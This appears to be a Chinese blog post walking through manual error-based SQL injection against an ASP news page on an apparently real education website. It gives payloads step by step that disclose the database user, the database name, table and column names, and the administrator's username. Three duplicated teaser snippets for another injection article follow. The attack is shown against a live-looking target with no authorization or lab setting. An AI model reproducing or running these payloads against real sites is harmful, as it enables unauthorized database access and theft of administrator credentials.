例:
試著在newsid=3255後面插入「」,結果報錯。
「microsoft ole db provider for sql server 錯誤 80040e14
字串 之前有未閉合的引號。
明顯存在注入漏洞,還是sql資料庫
無法動用工具查。 這點寫工具的人,貌似很容易新增這個功能。
分析了一下
上面這類**的asp?後面跟有多項資料,各項資料型別也不完全相同,有的是數字型,有的則是字元型等,混合在一起。
比如:www.yyy.org/readnews.asp?newsid=7235&bigclassname1=新聞中心&bigclassname=教育資訊&smallclassname=教育新聞
用手工注入吧。先看看許可權如何?在中間插入注入語句:
newsid=3255 and and user>0
提交後暴出了如下提示
將 nvarchar 值 web113483 轉換為資料型別為 int 的列時發生語法錯誤。意思是當前使用者的名字是「web113483」,看來只是乙個普通許可權的使用者db_owner。
如果暴出的是「將「dbo」轉換成int的列發生錯誤」,則表示當前資料庫使用者是sa,那許可權就相當大了
mssql資料庫的好處就是,不用乙個個的猜,可以直接暴出你想要的東東,這裡正好複習一下sql注入的相關語句。
下面就是來暴出資料庫了。在newsid=3255後面插入「and db_name()>0」,提交後得到如下結果:
microsoft ole db provider for sql server 錯誤 80040e07
將 nvarchar 值 www_hljedu_net 轉換為資料型別為 int 的列時發生語法錯誤。
/gaokao/readnews.asp,行13
呵呵,資料庫是www_hljedu_net,要是猜夠你猜的了。
接下來當然是暴表了:
在在newsid=3255後面插入
「and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype=u and status>0)>0」
得到如下結果:
將 nvarchar 值 review 轉換為資料型別為 int 的列時發生語法錯誤。
這樣就暴出了第乙個表:review。
接下來插入
「and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype=u and status>0 and name not in(review))>0」
就得到了第二個表「admin」:
將 nvarchar 值 admin 轉換為資料型別為 int 的列時發生語法錯誤。
依次將得到的表名加入
name not in(review,admin)中,可以得到所有的表,當然我們的目標是找管理員,找到了admin就夠了。
其實還有一種猜的辦法,插入
「and (selec count(*) from admin)>0」
正常返回表示有admin,表。同access猜表一樣。這樣就不用乙個個暴表。
但猜不中時就得暴表了。
下面我就用猜的辦法試試,
插入:and (select count(username) from admin)>0 結果提示出錯:「列名 username 無效。
」看來猜並不好猜,所以能暴當然要暴了。
插入語句
「and (select top 1 col_name(object_id(admin),1) from admin)>0」,提交後,暴出第乙個欄位名為「id」。
然後將括號中的1換成2,插入語句
「and (select top 1 col_name(object_id(admin),2) from admin)>0」,提交後得到如下結果:
將 nvarchar 值 adminuid 轉換為資料型別為 int 的列時發生語法錯誤。
同樣也得到「adminpwd」。
如果前面表名欄位名因常見可以猜的話,現在要猜使用者名稱和密碼就要難得多。
因為沒有通用的。所以能用暴值法那是一定要用的。
先猜使用者名稱:
插入注入語句:
and (select top 1 adminuid from admin)>0,
提交後輕易就暴出了管理員的名字:hljedu。
將 nvarchar 值 hljedu 轉換為資料型別為 int 的列時發生語法錯誤。
將上面語句中的adminuid換成adminpwd,變成
and (select top 1 adminpwd from admin)>0,
到此,我們的所有的猜解工作完成了
跨站式SQL注入技巧
學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看sql注入的一般步驟 第一節 sql注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql語句的原貌,按引數型別主要分為下面三種 a id 49 這類注入的引數是數字型,sql...
跨站式SQL注入技巧
學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看sql注入的一般步驟 第一節 sql注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql語句的原貌,按引數型別主要分為下面三種 a id 49 這類注入的引數是數字型,sql...
跨站式SQL注入技巧
學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看sql注入的一般步驟 第一節 sql注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql語句的原貌,按引數型別主要分為下面三種 a id 49 這類注入的引數是數字型,sql...